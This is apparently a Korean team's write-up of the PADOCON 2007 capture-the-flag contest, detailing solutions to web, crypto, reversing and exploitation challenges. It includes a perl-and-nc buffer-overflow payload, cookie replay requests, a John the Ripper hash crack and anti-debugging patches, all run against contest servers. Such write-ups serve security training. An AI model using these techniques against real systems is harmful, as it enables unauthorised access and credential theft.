PAraDox COnfereNce 2007 Capture The Flag ---------------------------------------- wow38317 team report -------------------- - 대회문제의 레벨 혹은 순서가 따로 없었기 때문에 풀이순서는 랜덤입니다. 정신없이 대회를 하다보니 문제정보를 따로 기록해두지 않아서 자세한 풀이를 하지 못한점 미리 양해의 말씀 드립니다. - ============= Stage1, Bingo ============= unhash 문제) 주어진 웹페이지에 있는 hash값들을 나누어 풀어보니 s3xypad0c5n 이란 답을 얻을 수 있었습니다. Cookie 문제) padowave=key 라는 쿠키가 특정 페이지를 거치며 Delete된 후, 인증페에지로 넘어가기때문에 쿠키가 지워지는 페이지는 건너 띄고 인증페이지를 바로 요청하여 아래와 같이 답을 구하였습니다. [hkpco@ns hkpco]$ telnet 155.230.251.100 80 Trying 155.230.251.100... Connected to 155.230.251.100. Escape character is '^]'. GET http://155.230.251.100/~q4/mong/kite815/result.php HTTP/1.0 Cookie: padowave=key HTTP/1.1 200 OK Date: Fri, 19 Jan 2007 04:30:08 GMT Server: Apache/2.0.40 (Red Hat Linux) Accept-Ranges: bytes X-Powered-By: PHP/4.2.2 Content-Length: 73 Connection: close Content-Type: text/html; charset=ISO-8859-1

Bravo! 패스워드는 'padowaveshocking' 입니다. Connection closed by foreign host. Ajax 문제) 해당 페이지의 source-view를 통해 자바스크립트 파일을 열람하여 정답페이지의 주소를 얻을 수 있었습니다. [hkpco@ns public_html]$ telnet 155.230.251.17 80 Trying 155.230.251.17... Connected to 155.230.251.17. Escape character is '^]'. GET http://155.230.251.17/~hack2/sorry.php HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 19 Jan 2007 17:41:16 GMT Server: Apache X-Powered-By: PHP/4.3.9 Content-Length: 185 Connection: close Content-Type: text/html; charset=euckr
Connection closed by foreign host. [hkpco@ns public_html]$ - req.js - . . . el.innerHTML = seg; } } url = './wanted.php'; <- 정답 페이지 req.open('GET', url, true); req.send(''); . . . - end - http://155.230.251.17/~hack2/wanted.php passwd : yousogood Shuffle) 셔플을 하다가 운좋게 보너스 문제가 걸렸습니다. ============================ Bonus 문제 입니다. Password : OverTheRainbow 추가로 랜덤으로 보너스가.... ============================ Crack 문제) MyCTF_14.exe파일을 리버싱 하지 않고 직접 대입을 통하여 암호화된 문자열과 일치시켰습니다. ( 잘 살펴보면 프로그램의 규칙도 찾을 수 있습니다. ) 답은 SeriesAndEncryption Disassemble 문제) 리눅스 프로그램의 디스어셈 결과를 이용하여 답을 구하는 문제입니다. calculation부분을 잘 살펴보면 답을 구할 수 있습니다. switch구문을 이용한 함수입니다. 0x08048465 : push %ebp 0x08048466 : mov %esp,%ebp 0x08048468 : sub $0xc,%esp 0x0804846b : mov 0x8(%ebp),%eax 0x0804846e : mov %al,0xffffffff(%ebp) 0x08048471 : movsbl 0xffffffff(%ebp),%eax 0x08048475 : sub $0x43,%eax 0x08048478 : mov %eax,0xfffffff4(%ebp) 0x0804847b : cmpl $0x2f,0xfffffff4(%ebp) 0x0804847f : ja 0x80484d5 0x08048481 : mov 0xfffffff4(%ebp),%edx 0x08048484 : mov 0x80485ec(,%edx,4),%eax 0x0804848b : jmp *%eax 0x0804848d : movl $0x4d,0xfffffff8(%ebp) 0x08048494 : jmp 0x80484dc 0x08048496 : movl $0x69,0xfffffff8(%ebp) 0x0804849d : jmp 0x80484dc 0x0804849f : movl $0x6c,0xfffffff8(%ebp) 0x080484a6 : jmp 0x80484dc 0x080484a8 : movl $0x6b,0xfffffff8(%ebp) 0x080484af : jmp 0x80484dc 0x080484b1 : movl $0x79,0xfffffff8(%ebp) 0x080484b8 : jmp 0x80484dc 0x080484ba : movl $0x77,0xfffffff8(%ebp) 0x080484c1 : jmp 0x80484dc 0x080484c3 : movl $0x61,0xfffffff8(%ebp) 0x080484ca : jmp 0x80484dc 0x080484cc : movl $0x79,0xfffffff8(%ebp) 0x080484d3 : jmp 0x80484dc 0x080484d5 : movl $0x2a,0xfffffff8(%ebp) 0x080484dc : mov 0xfffffff8(%ebp),%eax 0x080484df : leave 0x080484e0 : ret 중요한 부분만 나타내어 보면 switch( value ) { case 'C': return 'M'; case 'l': return 'i'; case 'e': return 'l'; case 'a': return 'k'; case 'r': return 'y'; case 'L': return 'w'; case 'i': return 'a'; case 'n': return 'y'; default: return '*'; } 그러므로 답은, Milkyway BufferOverFlow 문제) ! 문자를 이용하여 주소값을 맞춘 뒤 BOF를 이용하여 답이있는 buffer주소를 출력하도록 하였습니다. [hkpco@ns hkpco]$ (perl -e 'print "\x21"x12,"\xe0\xa2\x04\x08"') | nc 155.230.251.17 5553 ################
################# &ReadBuffer: 0xfee7a820 &KeywordAddress: 0x804a2e0 &printPtr: 0xfee7a414 *printPtr: 0xfee7a420 &start resultBuffer: 0xfee7a420 &end resultBuffer: 0xfee7a420 ######################################################## Solution> ################
################# &ReadBuffer: 0xfee7a820 &KeywordAddress: 0x804a2e0 &printPtr: 0xfee7a414 *printPtr: 0x804a2e0 &start resultBuffer: 0xfee7a420 &end resultBuffer: 0xfee7a418 ######################################################## ResultPrint>Congretuation!! NextPassword: aWorldWhereAnythingIsPossible Sensitive 문제) 정사각형 그림 위에 고정된 정사각형 4개와 움직이는 정사각형 4개가 있습니다. 움직이는 정사각형을 고정된 정사각형 위에 맞추어야합니다. 맞추는 방법은 Cookie값을 base64로 디코딩 시킨 뒤 4개로 나누고 그 나눈것을 다시 또 2개로 나누면 해당 사각형의 x,y좌표값이 됩니다. 알씨를 이용하여 좌표값을 알아 낸 뒤 base64로 인코딩하여 값을 보내니 인증이 성공하고 답을 구할 수 있었습니다. [hkpco@ns ctf2007]$ GET http://155.230.251.91/~fortune/ABD70838C9D85E38B6191870B40F21C0.php HTTP/1.0 Referer: http://155.230.251.91/~fortune/hardcore1.php Host: 155.230.251.91 Cookie: SESSIONID=MjUzZTc5MjIxOThhOUM4MQ== Congratulations! Authentication Code: Ker@ber@$ Steganography 문제) 문제페이지에 있는 escape문자열을 바꾸어 주면 자바스크립트 소스가 있는데 그 소스에서 #P%A!D@O$R$I!D%A 라는 키값을 얻을 수 있습니다. 키값을 이용하여 S-TOOL이란 스테가노그래피 프로그램으로 답을 구했습니다. [[[[[[[[축하합니다.]]]]]]]]]]] ---------------------------------------------------- | 인증 패스워드 | ---------------------------------------------------- | Truth will win out in the long run. | ---------------------------------------------------- 암호화규칙 문제) 문제페이지: http://155.230.251.77/~kertAdmin/garam5th Guest로 로그인 하였을때 정보페이지에 비밀번호를 암호화하여 나타내었습니다. 간단한 인코딩 방식인듯 한데 문자열이 바뀔때마다 쿠키값도 바뀌었습니다. Admin2007과 대입시키기 위해 필요한 문자열들의 인코딩 값들을 구하여 답을 얻었습니다. 정답은, EoRkfwhgdmsQksWb29724791 단일문자치환암호법 문제) 문제 페이지에 있는 각 영문자들의 나오는 빈도와 일반적인 알파벳의 나오는 빈도를 비교하는 방법입니다. 하나의 문장을 추측하여 계속 유추해나가며 답을 구했습니다. 정답은, alien 전화기 문제) 전화기 문제는 해당 Wav 파일의 고유 주파수 분석을 해보면 고주파수대의 상, 중, 하로 구분을 할 수 있고 저주파수대의 상, 중, 하로 구분을 할 수 있습니다. Cooledit를 통해서 해당 Wav 파일을 분석 하면 위에서 말한 대로 구분이 될 수 있고 이것을 아래의 전화 버튼 주파수 대역과 비교하면 해당 버튼을 몇 번 눌렀는지 구분이 가능합니다. 그리고 해당 버튼에 속해진 알파벳을 찾아서 비교를 해보면 됩니다. 답은, hackingandsecurity crack 문제) lastSAM파일내용이 /etc/shadow파일과 구조가 비슷하였습니다. john the ripper를 이용하여 답을 구했습니다. [hkpco@ns run]$ cat ct padocon:1006:3A2031B32E4880E0AAD3B435B51404EE:C75B184F1A53D557945F640A370AE3F8::: [hkpco@ns run]$ ./john -show ct padocon:OKAY:1006:C75B184F1A53D557945F640A370AE3F8::: 1 password cracked, 0 left 정답은, okay ====== Stage2 ====== 첫번째 문제) LEA ESI,DWORD PTR DS:[EDX-2] MOV EDI,ESI IMUL EDI,ESI LEA ESI,DWORD PTR DS:[EDI*4-10] TEST ESI,ESI . . LEA EBX,DWORD PTR DS:[EDX*4] MOV EDI,DWORD PTR DS:[ECX+4E4] LEA ESI,DWORD PTR DS:[EBX-3] IMUL ESI,EDX CMP EDI,ESI . . MOV ESI,DWORD PTR DS:[ECX+4EC] LEA EDX,DWORD PTR DS:[EDX+EDX*4] SUB EDX,EDI ADD EDX,2B CMP ESI,EDX a-b-c-d 라는 시리얼이 있다고 가정하고, b,c,d부분의 루틴을 나누어 해당 opcode들을 해석하면 시리얼을 구할 수 있습니다. ( a 부분은 상관이 없는 부분입니다. ) 구한 시리얼은 777-52-4-11 이며, 프로그램에 입력하면 johnsonsbaby라는 답이 나옵니다. 두번째 문제) 문제페이지: http://155.230.251.100/~q2/vani/ 소스보기를 해보면, 어릴적 꿈에서 본 기억이 난다.
난 지금 사람들이 돌아다닌 흔적이 없는 낯선 숲속에 들어왔다.

숲속엔 건드려서는 안될 성지인냥 풍성한 과일이 주렁주렁 넘쳐나고 지저귀는 산새소리가 평화롭게 조율한다.
안으로 차츰 들어가면서 빛이 들어오지 않는 암흑이 드리워졌고, 어딘가 들리는 음산한 목소리가 나를 끌어들인다.

목소리에 가까이 갈수록 빛이 새어 나오고 있다는 것을 느꼈고, 마침내 음산한 목소리의 근원지를 발견했다.
거기엔, 12명의 사도가 원 주위를 6번에 걸쳐 넘나들고 있었다. 한바퀴..한바퀴..

난 무언가에 홀린 듯 그 사도들이 하는 행동을 지켜보고 있을 수 밖에 없었고, 마치 날 보지 못한 냥.. 아니, 보았더라도 신경쓰지 않은 듯 사도들은 시간 가는것도 모른 채 원 주위를 맴돌았다.
몽롱한 기분에 사로잡혀 그 사도들을 지켜보고 있으면, 지나왔던 모든것을 잊을 수 있는듯.. 홀가해분해짐을 느낀다. 그러다 꿈에서 깨어나면 시간은 어느새 반나절이 지나있고, 그 사도들은 두번 다시 내 꿈속을 휘젓지 않았다.

아직도 생생히 기억나는 유년시절의 사도들을 추억하며..

!!No DoS please~!! 자바스크립트 파일에 숨겨져있는 페이지를 찾습니다. - xhttpreq.js - . . . url = './ace.php'; req.open('GET', url, true); req.send(''); . . . - end - ace.php의 백업파일을 이용하여 답을 구할 수 있습니다. [hkpco@ns ctf2007]$ telnet 155.230.251.100 80 Trying 155.230.251.100... Connected to 155.230.251.100. Escape character is '^]'. GET http://155.230.251.100/~q2/vani/ace.php.bak HTTP/1.0 . . . .........t1m3_By_K3R7 . . . 정답은 t1m3_By_K3R7 세번째 문제) 문제: 빙고로 돌아가셔서 다시 문제를 푸십시오. 특정 3문제를 풀어 잘 조합하면 답이 나옵니다. 빙고페이지의 기억해 두라는 문구가 있는 세가지 문제의 단어를 조합하여 인증합니다. 네번째 문제) 문제: 인증이 필요한 문제입니다. ctf.padocon@gmail.com으로 메일을 보내주시면 인증을 해드리겠습니다. 인증페이지의 index.html을 wget으로 받아서 xxd를 이용하여 살펴봅니다. 파일포멧이 ELF인걸 보니 리눅스에서 사용되는것을 알 수 있습니다. gdb를 이용하여 간단히 디버깅 해 보면, [hkpco@ns ctf2007]$ gdb -q index.html (gdb) disassemble main Dump of assembler code for function main: 0x08048784 : push %ebp 0x08048785 : mov %esp,%ebp 0x08048787 : sub $0x48,%esp 0x0804878a : and $0xfffffff0,%esp 0x0804878d : mov $0x0,%eax 0x08048792 : sub %eax,%esp 0x08048794 : sub $0x4,%esp 0x08048797 : push $0x0 0x08048799 : push $0x1 0x0804879b : push $0x2 . . . 0x08048891 : push $0x8048fc5 0x08048896 : call 0x8048624 0x0804889b : add $0x10,%esp 0x0804889e : jmp 0x804885e 0x080488a0 : call 0x80488bd 0x080488a5 : sub $0xc,%esp 0x080488a8 : pushl 0x804a3b0 0x080488ae : call 0x8048594 0x080488b3 : add $0x10,%esp 0x080488b6 : jmp 0x804885e 0x080488b8 : mov 0xffffffc0(%ebp),%eax 0x080488bb : leave 0x080488bc : ret End of assembler dump. recive라는 사용자 함수가 보입니다. (gdb) disassemble recive Dump of assembler code for function recive: 0x080488bd : push %ebp 0x080488be : mov %esp,%ebp 0x080488c0 : sub $0xc18,%esp 0x080488c6 : movl $0x0,0xfffff404(%ebp) 0x080488d0 : movl $0x0,0xfffff3fc(%ebp) 0x080488da : mov 0x4(%ebp),%eax 0x080488dd : mov %eax,0xfffff3f8(%ebp) 0x080488e3 : push $0x0 0x080488e5 : push $0x3e8 0x080488ea : lea 0xfffff408(%ebp),%eax 0x080488f0 : push %eax 0x080488f1 : pushl 0x804a3b0 0x080488f7 : call 0x80486a4 0x080488fc : add $0x10,%esp . . . 0x080489bc : mov %eax,0xfffff3f4(%ebp) 0x080489c2 : mov 0xfffff3f8(%ebp),%eax 0x080489c8 : cmp 0xfffff3f4(%ebp),%eax 0x080489ce : je 0x80489d2 0x080489d0 : jmp 0x80489e4 0x080489d2 : sub $0xc,%esp 0x080489d5 : lea 0xfffff7f8(%ebp),%eax 0x080489db : push %eax 0x080489dc : call 0x80489e6 0x080489e1 : add $0x10,%esp 0x080489e4 : leave 0x080489e5 : ret End of assembler dump. parse라는 사용자 함수가 보입니다. (gdb) disassemble parse Dump of assembler code for function parse: 0x080489e6 : push %ebp 0x080489e7 : mov %esp,%ebp 0x080489e9 : sub $0x17e8,%esp 0x080489ef : movl $0x0,0xfffffbf4(%ebp) 0x080489f9 : movl $0x0,0xffffe854(%ebp) 0x08048a03 : movl $0x0,0xffffe84c(%ebp) 0x08048a0d : sub $0xc,%esp 0x08048a10 : pushl 0x8(%ebp) 0x08048a13 : call 0x80485f4 0x08048a18 : add $0x10,%esp 0x08048a1b : cmp %eax,0xffffe84c(%ebp) 0x08048a21 : jb 0x8048a28 0x08048a23 : jmp 0x8048c99 0x08048a28 : mov 0xffffe84c(%ebp),%eax . . . 0x08048dfd : push $0x1388 0x08048e02 : lea 0xffffe858(%ebp),%eax 0x08048e08 : push %eax 0x08048e09 : pushl 0x804a3b0 0x08048e0f : call 0x8048674 0x08048e14 : add $0x10,%esp 0x08048e17 : leave 0x08048e18 : ret End of assembler dump. (gdb) 엄청나게 깁니다. 아마도 서버의 요청을 분석/처리하는 부분 같습니다. 또 어떤 함수가 사용되었는지 보겠습니다. (gdb) info func All defined functions: Non-debugging symbols: 0x0804854c _init 0x08048574 localtime 0x08048584 strcmp 0x08048594 close 0x080485a4 accept 0x080485b4 listen 0x080485c4 strftime 0x080485d4 time 0x080485e4 fgets 0x080485f4 strlen 0x08048604 __libc_start_main 0x08048614 strcat 0x08048624 printf 0x08048634 bind 0x08048644 fclose 0x08048654 exit 0x08048664 sscanf 0x08048674 send 0x08048684 htons 0x08048694 fopen 0x080486a4 recv 0x080486b4 sprintf 0x080486c4 socket 0x080486f8 call_gmon_start 0x0804871c __do_global_dtors_aux 0x08048758 frame_dummy 0x08048784 main 0x080488bd recive 0x080489e6 parse 0x08048e19 target 0x08048edc __libc_csu_init 0x08048f0c __libc_csu_fini 0x08048f40 __do_global_ctors_aux 0x08048f64 _fini target이란 함수가 있습니다. (gdb) disassemble target Dump of assembler code for function target: 0x08048e19 : push %ebp 0x08048e1a : mov %esp,%ebp 0x08048e1c : sub $0x298,%esp 0x08048e22 : sub $0x8,%esp 0x08048e25 : push $0x80491e2 0x08048e2a : push $0x80491e4 0x08048e2f : call 0x8048694 0x08048e34 : add $0x10,%esp 0x08048e37 : mov %eax,0xfffffff4(%ebp) 0x08048e3a : sub $0x4,%esp 0x08048e3d : pushl 0xfffffff4(%ebp) 0x08048e40 : push $0x64 0x08048e42 : lea 0xffffff78(%ebp),%eax 0x08048e48 : push %eax 0x08048e49 : call 0x80485e4 0x08048e4e : add $0x10,%esp 0x08048e51 : sub $0xc,%esp 0x08048e54 : pushl 0xfffffff4(%ebp) 0x08048e57 : call 0x8048644 0x08048e5c : add $0x10,%esp 0x08048e5f : lea 0xffffff78(%ebp),%eax 0x08048e65 : push %eax 0x08048e66 : lea 0xffffff78(%ebp),%eax 0x08048e6c : sub $0x8,%esp 0x08048e6f : push %eax 0x08048e70 : call 0x80485f4 0x08048e75 : add $0xc,%esp 0x08048e78 : push %eax 0x08048e79 : push $0x8049200 0x08048e7e : lea 0xfffffd78(%ebp),%eax 0x08048e84 : push %eax 0x08048e85 : call 0x80486b4 0x08048e8a : add $0x10,%esp 0x08048e8d : push $0x0 0x08048e8f : push $0x1f4 0x08048e94 : lea 0xfffffd78(%ebp),%eax 0x08048e9a : push %eax 0x08048e9b : pushl 0x804a3b0 0x08048ea1 : call 0x8048674 0x08048ea6 : add $0x10,%esp 0x08048ea9 : mov %eax,0xfffffd74(%ebp) 0x08048eaf : sub $0xc,%esp 0x08048eb2 : pushl 0x804a3b0 0x08048eb8 : call 0x8048594 0x08048ebd : add $0x10,%esp 0x08048ec0 : sub $0xc,%esp 0x08048ec3 : pushl 0x804a3ac 0x08048ec9 : call 0x8048594 0x08048ece : add $0x10,%esp 0x08048ed1 : sub $0xc,%esp 0x08048ed4 : push $0x0 0x08048ed6 : call 0x8048654 0x08048edb : nop End of assembler dump. 아마도 서버에 있는 파일을 열어 암호를 뿌려주는 부분 같습니다. 0x08048e25 : push $0x80491e2 0x08048e2a : push $0x80491e4 0x08048e2f : call 0x8048694 0x08048e34 : add $0x10,%esp 0x08048e37 : mov %eax,0xfffffff4(%ebp) 어떠한 파일을 여는지 보겠습니다. (gdb) x/s 0x80491e2 0x80491e2 <_IO_stdin_used+606>: "r" (gdb) x/s 0x80491e4 0x80491e4 <_IO_stdin_used+608>: "passwd" (gdb) fp = fopen( "passwd" , "r" ); passwd파일을 엽니다. 0x08048e37 : mov %eax,0xfffffff4(%ebp) 0x08048e3a : sub $0x4,%esp 0x08048e3d : pushl 0xfffffff4(%ebp) 0x08048e40 : push $0x64 0x08048e42 : lea 0xffffff78(%ebp),%eax 0x08048e48 : push %eax 0x08048e49 : call 0x80485e4 0x08048e4e : add $0x10,%esp fgets( buffer , 100(0x64) , fp ); fgets를 이용하여 열린 파일을 buffer로 읽어들입니다. 0x08048e51 : sub $0xc,%esp 0x08048e54 : pushl 0xfffffff4(%ebp) 0x08048e57 : call 0x8048644 0x08048e5c : add $0x10,%esp fclose(fp); 파일 디스크립터를 닫습니다. 0x08048e5f : lea 0xffffff78(%ebp),%eax 0x08048e65 : push %eax 0x08048e66 : lea 0xffffff78(%ebp),%eax 0x08048e6c : sub $0x8,%esp 0x08048e6f : push %eax 0x08048e70 : call 0x80485f4 0x08048e75 : add $0xc,%esp 0x08048e78 : push %eax 0x08048e79 : push $0x8049200 0x08048e7e : lea 0xfffffd78(%ebp),%eax 0x08048e84 : push %eax 0x08048e85 : call 0x80486b4 0x08048e8a : add $0x10,%esp (gdb) x/s 0x8049200 0x8049200 <_IO_stdin_used+636>: "HTTP/1.1 200 OK\nContent-Length: %d\nContetnt-Type: text/html; charset=iso-8859-1\n\n%s" sprintf( buffer , "HTTP/1.1 200 OK\nContent-Length: %d\nContetnt-Type: text/html; charset=iso-8859-1\n\n%s" , strlen(buffer) , buffer ); buffer에 전송될 요청을 담습니다. 0x08048e8d : push $0x0 0x08048e8f : push $0x1f4 0x08048e94 : lea 0xfffffd78(%ebp),%eax 0x08048e9a : push %eax 0x08048e9b : pushl 0x804a3b0 0x08048ea1 : call 0x8048674 0x08048ea6 : add $0x10,%esp send( client , buffer , 500(0x1f4) , 0 ); socket으로 클라이언트에게 쏘아줍니다. 0x08048ea9 : mov %eax,0xfffffd74(%ebp) 0x08048eaf : sub $0xc,%esp 0x08048eb2 : pushl 0x804a3b0 0x08048eb8 : call 0x8048594 0x08048ebd : add $0x10,%esp close( client ); 소켓 기술자를 닫습니다. 0x08048ec0 : sub $0xc,%esp 0x08048ec3 : pushl 0x804a3ac 0x08048ec9 : call 0x8048594 0x08048ece : add $0x10,%esp close( sockfd ); 소켓 기술자를 닫습니다. 0x08048ed1 : sub $0xc,%esp 0x08048ed4 : push $0x0 0x08048ed6 : call 0x8048654 exit(0); 종료합니다. 여기서 fopen부분만 잘 보아도 정답이 있는 파일은 "passwd"라는 것을 알 수 있습니다. passwd파일을 요청해보면 답을 구할 수 있습니다. http://155.230.251.100/~q3/hyungee/koziro4/passwd 정답은, password is Exelsior&Rgent 마지막 문제) result.exe파일을 ollydbg로 분석하려고 파일을 열고 run을 하니 프로그램이 종료됩니다. 아마도 내부에 디버깅 방지 루틴이 있는것 같습니다. 이부분은 예전에 삽질한 경험이 있기 때문에 쉽게 넘길 수 있었습니다. 처음부터 breakpoint를 걸고 차근차근 리버싱 해 나갑니다. 004015C3 |. E8 F83B0000 CALL result.004051C0 에서 분기가 된 후 종료됩니다. call문 안으로 들어가 다시 브포를 겁니다.( 이전 브포 해제 ) 004051CB |. E8 70000000 CALL result.00405240 ; \result.00405240 여기서 다시 분기 된 후 종료합니다. 00405240 주소로 가서 브포를 건 후 천천히 살펴보면 제일 밑에 ExitProccess가 있습니다. 디버거 체크를 한 뒤 체크구문과 물리면 ExitProccess를 이용하여 종료시킵니다. 저 부분을 NOP으로 채우고 패치합니다. 이로서 디버깅 방지 루틴을 무력화 시킬 수 있습니다. 프로그램을 살펴보니 레지스트리를 조작해야 하는 것 같습니다. 레지스트리를 조작하지 않고 풀어보겠습니다. 0040BC79 74 1C JE SHORT resultx.0040BC97 0040BC7B |. 68 78004200 PUSH resultx.00420078 ; /Arg2 = 00420078 ASCII "sorry : This problem is not solved. Try again :( " 이부분을 보면 어떠한 체크가 이루어 진 뒤에 일치하지 않으면 종료하는것으로 보입니다. 분기점을 JNZ로 고쳐준 뒤 넘어갑니다. 0040BCDD 74 1C JE SHORT resultx.0040BCFB 0040BCDF |. 68 78004200 PUSH resultx.00420078 ; /Arg2 = 00420078 ASCII "sorry : This problem is not solved. Try again :( " 아까와 비슷한 경우입니다. JNZ로 수정한 뒤 넘어갑니다. 이런식으로 체크가 의심되는 부분의 분기점을 고쳐 준 뒤 실행시키면 답을 구할 수 있습니다. 마지막답은, C*dafd*hcdcyb*0#